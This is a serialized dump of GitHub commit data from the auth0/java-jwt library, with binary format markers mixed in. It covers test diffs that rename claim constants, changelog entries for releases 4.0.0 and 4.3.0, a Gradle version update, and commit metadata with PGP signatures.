@@ -135,7 +134,7 @@ public void shouldRemoveHeaderIfTheValueIsNull() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.isNotPresent(PublicClaims.KEY_ID));
+        assertThat(headerJson, JsonMatcher.isNotPresent(HeaderParams.KEY_ID));
         assertThat(headerJson, JsonMatcher.hasEntry("test2", "isSet"));
     }
 
@@ -728,7 +727,7 @@ public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
     @Test
     public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.KEY_ID, "xyz");
+        payload.put(HeaderParams.KEY_ID, "xyz");
 
         String jwt = JWTCreator.init()
                 .withKeyId("abc")
@@ -738,13 +737,13 @@ public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKe
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
     public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.ISSUER, "xyz");
+        payload.put(StandardClaims.ISSUER, "xyz");
 
         String jwt = JWTCreator.init()
                 .withPayload(payload)
@@ -754,7 +753,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.ISSUER, "abc"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(StandardClaims.ISSUER, "abc"));
     }
 
     @Testu}(j?  (803ec8ca233bf3a9dd9308367ec569a1e7b93d2cj7@  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj9@  modifiedj1@  Kj2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X  @@ -121,7 +121,7 @@ public void shouldGetSignature() {
         assertThat(jwt.getSignature(), is("XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
-    // Public PublicClaims
+    // Standard claims
 
     @Test
     public void shouldGetIssuer() {
@@ -208,7 +208,7 @@ public void shouldGetAlgorithm() {
         assertThat(jwt.getAlgorithm(), is("HS256"));
     }
 
-    //Private PublicClaims
+    // Private claims
 
     @Test
     public void shouldGetMissingClaimIfClaimDoesNotExist() {u}(j?  (f28cfefcf081ba051c176b785be5b9daba41c929j7@  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj9@  modifiedj1@  Kj2@  Kj;@  K<j<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X!'  @@ -2,7 +2,6 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
@@ -14,7 +13,6 @@
 import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
-import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.function.BiPredicate;
@@ -82,7 +80,7 @@ public void shouldThrowOnInvalidIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimName(), is(StandardClaims.ISSUER));
         assertThat(e.getClaimValue().asString(), is("auth0"));
     }
 
@@ -96,7 +94,7 @@ public void shouldThrowOnNullIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimName(), is(StandardClaims.ISSUER));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -136,7 +134,7 @@ public void shouldThrowOnInvalidSubject() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
-        assertThat(e.getClaimName(), is(PublicClaims.SUBJECT));
+        assertThat(e.getClaimName(), is(StandardClaims.SUBJECT));
         assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
@@ -240,7 +238,7 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
                     .verify(tokenArr);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -255,7 +253,7 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -270,7 +268,7 @@ public void shouldThrowWhenAudienceClaimIsNull() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -298,7 +296,7 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
     }
 
@@ -310,21 +308,21 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
+        assertThat(verifier.expectedChecks, not(hasKey(StandardClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
+        assertThat(verifier.expectedChecks, not(hasKey(StandardClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
+        assertThat(verifier.expectedChecks, not(hasKey(StandardClaims.AUDIENCE)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
@@ -635,9 +633,9 @@ public void shouldAddDefaultLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
+        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(0L));
     }
 
     @Test
@@ -649,9 +647,9 @@ public void shouldAddCustomLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -664,9 +662,9 @@ public void shouldOverrideDefaultIssuedAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -679,9 +677,9 @@ public void shouldOverrideDefaultExpiresAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -694,9 +692,9 @@ public void shouldOverrideDefaultNotBeforeLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
+        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -777,7 +775,7 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.NOT_BEFORE));
+        assertThat(e.getClaimName(), is(StandardClaims.NOT_BEFORE));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -812,7 +810,7 @@ public void shouldThrowOnFutureIssuedAt() {
             assertThat(jwt, is(notNullValue()));
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(StandardClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -837,7 +835,7 @@ public void shouldThrowOnInvalidIssuedAtIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(StandardClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -1111,7 +1109,7 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
-                .withClaim(PublicClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
+                .withClaim(StandardClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
                 .build();
 
         DecodedJWT decodedJWT = verifier.verify(jwt);ueu(9e7dd708eb6edabc995b95808c8c93809d18a23a}(sha(9e7dd708eb6edabc995b95808c8c93809d18a23anode_idEC_kwDOAQtL0doAKDllN2RkNzA4ZWI2ZWRhYmM5OTViOTU4MDhjOGM5MzgwOWQxOGEyM2Ecommit}(author}(nameAdam Mcgrathemailadamjmcgrath@gmail.comdate2022-06-24T10:26:20Zu	committer}(j@  GitHubj@  noreply@github.comj@  2022-06-24T10:26:20Zumessage?Merge pull request #589 from auth0/release-4.0.0

Release 4.0.0tree}(j@  (546846c5c7ec1c0c9e99176b7651570ff4c94570url^https://api.github.com/repos/auth0/java-jwt/git/trees/546846c5c7ec1c0c9e99176b7651570ff4c94570uj@  `https://api.github.com/repos/auth0/java-jwt/git/commits/9e7dd708eb6edabc995b95808c8c93809d18a23a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJitZFMCRBK7hj4Ov3rIwAAlaoIAFMYw1Y1JaF/NO1TKdUM7+Bk
hazMb3r70CeFjgYQAcKHdtF2ryCN6sgx67CmOpLSK2cbGp+Tk2hmsXPZepoQyiwM
1CFpQMt9QcemPE6oKfHrla1xwC7J4GJPz+cYHOq/JXTDEUd6NgA1nM11S6hdEkHt
rNeP7l5REAOSttAb3CEicHN3s8x5RvRSvTGwMysTiYgUZyyRvsvVau9LHvA7fXkY
yMSfNM7j2svbNA0zTsyqy1KGoDyx0//AVpCbA5yy+JGaecKgbfbPQ7OyYQ0NgWYI
VMAgu4tf1nmyCF40Wiwm8g/EmRSCPf7c6Fmm5G8cU7bb47AAK5FsWaZCkvD4MKI=
=JHaG
-----END PGP SIGNATURE-----
payloadXC  tree 546846c5c7ec1c0c9e99176b7651570ff4c94570
parent f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be
parent 84dc66063790905561e3bb2addffcd5bc7125697
author Adam Mcgrath <adamjmcgrath@gmail.com> 1656066380 +0100
committer GitHub <noreply@github.com> 1656066380 +0100

Merge pull request #589 from auth0/release-4.0.0

Release 4.0.0uuj@  \https://api.github.com/repos/auth0/java-jwt/commits/9e7dd708eb6edabc995b95808c8c93809d18a23ahtml_urlQhttps://github.com/auth0/java-jwt/commit/9e7dd708eb6edabc995b95808c8c93809d18a23acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9e7dd708eb6edabc995b95808c8c93809d18a23a/commentsj@  }(loginadamjmcgrathidJ j@  MDQ6VXNlcjEyOTk2NTg=
avatar_url3https://avatars.githubusercontent.com/u/1299658?v=4gravatar_idh3j@  )https://api.github.com/users/adamjmcgrathj@  https://github.com/adamjmcgrath
followers_url3https://api.github.com/users/adamjmcgrath/followers
following_url@https://api.github.com/users/adamjmcgrath/following{/other_user}	gists_url9https://api.github.com/users/adamjmcgrath/gists{/gist_id}starred_url@https://api.github.com/users/adamjmcgrath/starred{/owner}{/repo}subscriptions_url7https://api.github.com/users/adamjmcgrath/subscriptionsorganizations_url.https://api.github.com/users/adamjmcgrath/orgs	repos_url/https://api.github.com/users/adamjmcgrath/repos
events_url:https://api.github.com/users/adamjmcgrath/events{/privacy}received_events_url9https://api.github.com/users/adamjmcgrath/received_eventstypeUser
site_adminuj@  }(j@  web-flowj@  J/j@  MDQ6VXNlcjE5ODY0NDQ3j@  4https://avatars.githubusercontent.com/u/19864447?v=4j@  h3j@  %https://api.github.com/users/web-flowj@  https://github.com/web-flowj@  /https://api.github.com/users/web-flow/followersj@  <https://api.github.com/users/web-flow/following{/other_user}j@  5https://api.github.com/users/web-flow/gists{/gist_id}j@  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j@  3https://api.github.com/users/web-flow/subscriptionsj@  *https://api.github.com/users/web-flow/orgsj@  +https://api.github.com/users/web-flow/reposj@  6https://api.github.com/users/web-flow/events{/privacy}j@  5https://api.github.com/users/web-flow/received_eventsj@  Userj@  uparents](}(j@  (f87a5d3f7ce0df3c428fc16e72f2f27659dcf6bej@  \https://api.github.com/repos/auth0/java-jwt/commits/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6bej@  Qhttps://github.com/auth0/java-jwt/commit/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6beu}(j@  (84dc66063790905561e3bb2addffcd5bc7125697j@  \https://api.github.com/repos/auth0/java-jwt/commits/84dc66063790905561e3bb2addffcd5bc7125697j@  Qhttps://github.com/auth0/java-jwt/commit/84dc66063790905561e3bb2addffcd5bc7125697uestats}(totalK	additionsK	deletionsK ufiles]}(j@  (6023d83613ed5f416031f91f1fffcb3a81c2f177filenameCHANGELOG.mdstatusmodifiedj@  Kj@  K changesKblob_url\https://github.com/auth0/java-jwt/blob/9e7dd708eb6edabc995b95808c8c93809d18a23a/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/9e7dd708eb6edabc995b95808c8c93809d18a23a/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=9e7dd708eb6edabc995b95808c8c93809d18a23apatchX  @@ -1,5 +1,20 @@
 # Change Log
 
+## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
+
+**This is a major release and contains breaking changes!**
+
+- Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+
+### Main features
+- Predicates based claim verification
+- Support for Instant API and Lambda functions
+- Improved Exceptions API
+- Consistent null handling
+
+See the changelog entries for additional details.
+
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
 uau(5287edf769ebbf67e092100a018378d563111c59}(sha(5287edf769ebbf67e092100a018378d563111c59node_idEC_kwDOAQtL0doAKDUyODdlZGY3NjllYmJmNjdlMDkyMTAwYTAxODM3OGQ1NjMxMTFjNTkcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-25T01:51:02Zu	committer}(jA  GitHubjA  noreply@github.comjA  2022-10-25T01:51:02ZumessageUpdate to gradle `6.9.3` (#635)tree}(jA  (25a34087dec07516b6fe6adfa7ee6a1b62c82e0burl^https://api.github.com/repos/auth0/java-jwt/git/trees/25a34087dec07516b6fe6adfa7ee6a1b62c82e0buj)A  `https://api.github.com/repos/auth0/java-jwt/git/commits/5287edf769ebbf67e092100a018378d563111c59
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV0EGCRBK7hj4Ov3rIwAAsG8IAFiRoKkOjrimvZjvWt86tBNM
hk651t+vEU9oCk7c4GPgyAQwA8q0NtRHfOskkKevFVcuholm82fwqjqzhKSB/Umq
0iLLSiXyQNCMqsR31v2skc6MEFu2Q19h0FSl25fxsm4SAyYY0rtJ0Jc+nyJLHY8f
z5NRWJfYS2CiQwbGCj7auRbi+nI0XV2eYgzsN5rH+6imjFmpWNnClfardNT/ga81
7wyQ162lqS4zOcl9J/fA5D4BifA0fSThAjbkO+eeet6EK7p8CMYHykAF475T4hkG
DcXUxTgX0K61wQBlpykCK8+K8Xk8W9TSa9vFqDpjC74M5MK6F1kzQSz1HpeoPOk=
=4/by
-----END PGP SIGNATURE-----
payloadtree 25a34087dec07516b6fe6adfa7ee6a1b62c82e0b
parent 7a97e4040d29c518e539aad9db514c86db79c82e
author Jim Anderson <jim.anderson@auth0.com> 1666662662 -0500
committer GitHub <noreply@github.com> 1666662662 -0500

Update to gradle `6.9.3` (#635)

uuj)A  \https://api.github.com/repos/auth0/java-jwt/commits/5287edf769ebbf67e092100a018378d563111c59html_urlQhttps://github.com/auth0/java-jwt/commit/5287edf769ebbf67e092100a018378d563111c59comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5287edf769ebbf67e092100a018378d563111c59/commentsjA  }(login
jimmyjamesidJ7 jA  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j)A  'https://api.github.com/users/jimmyjamesj7A  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujA  }(j<A  web-flowj>A  J/jA  MDQ6VXNlcjE5ODY0NDQ3j@A  4https://avatars.githubusercontent.com/u/19864447?v=4jBA  h3j)A  %https://api.github.com/users/web-flowj7A  https://github.com/web-flowjEA  /https://api.github.com/users/web-flow/followersjGA  <https://api.github.com/users/web-flow/following{/other_user}jIA  5https://api.github.com/users/web-flow/gists{/gist_id}jKA  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jMA  3https://api.github.com/users/web-flow/subscriptionsjOA  *https://api.github.com/users/web-flow/orgsjQA  +https://api.github.com/users/web-flow/reposjSA  6https://api.github.com/users/web-flow/events{/privacy}jUA  5https://api.github.com/users/web-flow/received_eventsjWA  UserjYA  uparents]}(jA  (7a97e4040d29c518e539aad9db514c86db79c82ej)A  \https://api.github.com/repos/auth0/java-jwt/commits/7a97e4040d29c518e539aad9db514c86db79c82ej7A  Qhttps://github.com/auth0/java-jwt/commit/7a97e4040d29c518e539aad9db514c86db79c82euastats}(totalK	additionsK	deletionsKufiles](}(jA  (d355f4c4f30f0034df5dcc40e99f5e57a6b8cf5ffilename(gradle/wrapper/gradle-wrapper.propertiesstatusmodifiedjsA  KjtA  KchangesKblob_url|https://github.com/auth0/java-jwt/blob/5287edf769ebbf67e092100a018378d563111c59/gradle%2Fwrapper%2Fgradle-wrapper.propertiesraw_url{https://github.com/auth0/java-jwt/raw/5287edf769ebbf67e092100a018378d563111c59/gradle%2Fwrapper%2Fgradle-wrapper.propertiescontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/gradle%2Fwrapper%2Fgradle-wrapper.properties?ref=5287edf769ebbf67e092100a018378d563111c59patchX/  @@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.7.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.3-bin.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/distsu}(jA  (0bebbf960e4b6473299ba4a6f25df2cfc2d60130jyA  lib/build.gradlej{A  modifiedjsA  KjtA  Kj}A  Kj~A  bhttps://github.com/auth0/java-jwt/blob/5287edf769ebbf67e092100a018378d563111c59/lib%2Fbuild.gradlejA  ahttps://github.com/auth0/java-jwt/raw/5287edf769ebbf67e092100a018378d563111c59/lib%2Fbuild.gradlejA  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=5287edf769ebbf67e092100a018378d563111c59jA  @@ -51,7 +51,7 @@ java {
 compileJava {
     exclude 'module-info.java'
     // Required to be compatible with JDK 8+
-    options.compilerArgs = ['--release', "8"]
+    options.release = 8
 }
 
 javadoc {ueu(b610b6635ba1ed948a06fea777eeeecca2364303}(sha(b610b6635ba1ed948a06fea777eeeecca2364303node_idEC_kwDOAQtL0doAKGI2MTBiNjYzNWJhMWVkOTQ4YTA2ZmVhNzc3ZWVlZWNjYTIzNjQzMDMcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-02-13T03:53:23Zu	committer}(jA  GitHubjA  noreply@github.comjA  2023-02-13T03:53:23ZumessageRelease 4.3.0 (#655)tree}(jA  (0994052201f12aefb56cac785872a5bee750331curl^https://api.github.com/repos/auth0/java-jwt/git/trees/0994052201f12aefb56cac785872a5bee750331cujA  `https://api.github.com/repos/auth0/java-jwt/git/commits/b610b6635ba1ed948a06fea777eeeecca2364303
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj6bQzCRBK7hj4Ov3rIwAA3RoIAA2IzjMGvktmJGuZejuPp3zG
g+DkMacYPk6/t36xSUMul3HcXqIW3IVJnn3NvOY+qeuGLHSvrXEne4Nk8QVcRnbE
EchXAcLypb9tJqqUnSwWDh2mvly7NGOZH2bamXAi5xRqhINcNb9NzYGIfE5gIb8c
2D6dUBmXbLuztFipyiOkmBapa+XwReRbe3RqZS+U1GmP9FMnqxEV7dlPVaEfrmTF
VNrbLsf930R/BQ7pokTz71rE2y40tTFDktRkR/jL63tgEvIg45pfeV6FsdHsMaTP
B4AGwQ6dbMBft3ARs3ob1SHzJ97Vk3LnFoUeCnNPr9ZlqSgfTabNdKGMYHkU8CU=
=jqp9
-----END PGP SIGNATURE-----
payloadtree 0994052201f12aefb56cac785872a5bee750331c
parent 902431804ee68a0e4727f41397cd56608918ba37
author Jim Anderson <jim.anderson@auth0.com> 1676260403 -0600
committer GitHub <noreply@github.com> 1676260403 -0600

Release 4.3.0 (#655)

uujA  \https://api.github.com/repos/auth0/java-jwt/commits/b610b6635ba1ed948a06fea777eeeecca2364303html_urlQhttps://github.com/auth0/java-jwt/commit/b610b6635ba1ed948a06fea777eeeecca2364303comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b610b6635ba1ed948a06fea777eeeecca2364303/commentsjA  }(login
jimmyjamesidJ7 jA  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jA  'https://api.github.com/users/jimmyjamesjA  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujA  }(jA  web-flowjA  J/jA  MDQ6VXNlcjE5ODY0NDQ3jA  4https://avatars.githubusercontent.com/u/19864447?v=4jA  h3jA  %https://api.github.com/users/web-flowjA  https://github.com/web-flowjA  /https://api.github.com/users/web-flow/followersjA  <https://api.github.com/users/web-flow/following{/other_user}jA  5https://api.github.com/users/web-flow/gists{/gist_id}jA  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jA  3https://api.github.com/users/web-flow/subscriptionsjA  *https://api.github.com/users/web-flow/orgsjA  +https://api.github.com/users/web-flow/reposjA  6https://api.github.com/users/web-flow/events{/privacy}jA  5https://api.github.com/users/web-flow/received_eventsjA  UserjA  uparents]}(jA  (902431804ee68a0e4727f41397cd56608918ba37jA  \https://api.github.com/repos/auth0/java-jwt/commits/902431804ee68a0e4727f41397cd56608918ba37jA  Qhttps://github.com/auth0/java-jwt/commit/902431804ee68a0e4727f41397cd56608918ba37uastats}(totalK	additionsK	deletionsKufiles](}(jA  (61ebad87040c6682ae055e16c8d7b875c105ec72filenameCHANGELOG.mdstatusmodifiedjA  K
jA  K changesK
blob_url\https://github.com/auth0/java-jwt/blob/b610b6635ba1ed948a06fea777eeeecca2364303/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/b610b6635ba1ed948a06fea777eeeecca2364303/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=b610b6635ba1ed948a06fea777eeeecca2364303patchX  @@ -1,5 +1,15 @@
 # Change Log
 
+## [4.3.0](https://github.com/auth0/java-jwt/tree/4.3.0) (2023-02-10)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.2...4.3.0)
+
+**Changed**
